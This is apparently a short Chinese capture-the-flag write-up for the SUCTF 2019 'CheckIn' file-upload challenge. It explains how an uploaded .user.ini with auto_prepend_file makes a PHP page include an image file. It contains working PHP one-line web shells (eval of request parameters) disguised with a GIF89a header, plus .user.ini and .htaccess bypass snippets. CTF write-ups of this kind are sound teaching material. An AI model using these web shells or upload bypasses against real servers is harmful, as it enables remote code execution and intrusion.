[SUCTF 2019]CheckIn(文件上传)

1. 举个例子理解.user.ini作用：
2. /*这是.user.ini的两个配置  
3. auto_prepend_file是在文件前插入
4. auto_append_file是在文件最后才插入*/
5. 
6. 1.在user.ini 中设置
7. auto_prepend_file=b.gif
8. 
9. 2.在b.gif中设置 一句话木马
10. 
11. 3.还有个php文件 如：前面做题中的index.php    
12. 
13. 如果这三个条件在同一个目录下面，这里就相当于 在index.php中写了include "b.gif" , 可以进行文件包含，导致的后果是：当我们对目录中的index.php进行访问的时候，会调用.usre.ini 中的文件把b.gif文件以php的形式进行读取

<script language="php">eval($_REQUEST['cmd']);</script>

1. GIF89a
2. <script language='php'>eval($_REQUEST['cmd']);</script>

1. <FilesMatch>
2. SetHandler application/x-httpd-php
3. </FilesMatch>

1. GIF89a                  
2. auto_prepend_file=a.jpg

1.  GIF89a
2. <script language='php'> @eval($_POST['cmd']);</script>

1. //上传.user.ini文件，条件如下：
2. 
3. (1)服务器脚本语言为PHP
4. (2)对应目录下面有可执行的php文件              //index.php
5. (3)服务器使用CGI／FastCGI模式   
6. 
7. 
8. 上传的文件内容
9. GIF89a                         //auto_prepend_file是在文件前插入，而auto_append_file是在文件最后才插入。                  
10. auto_prepend_file=b.gif       //需要注意上穿的文件名字要和设定的名字一样，这里可以设定多个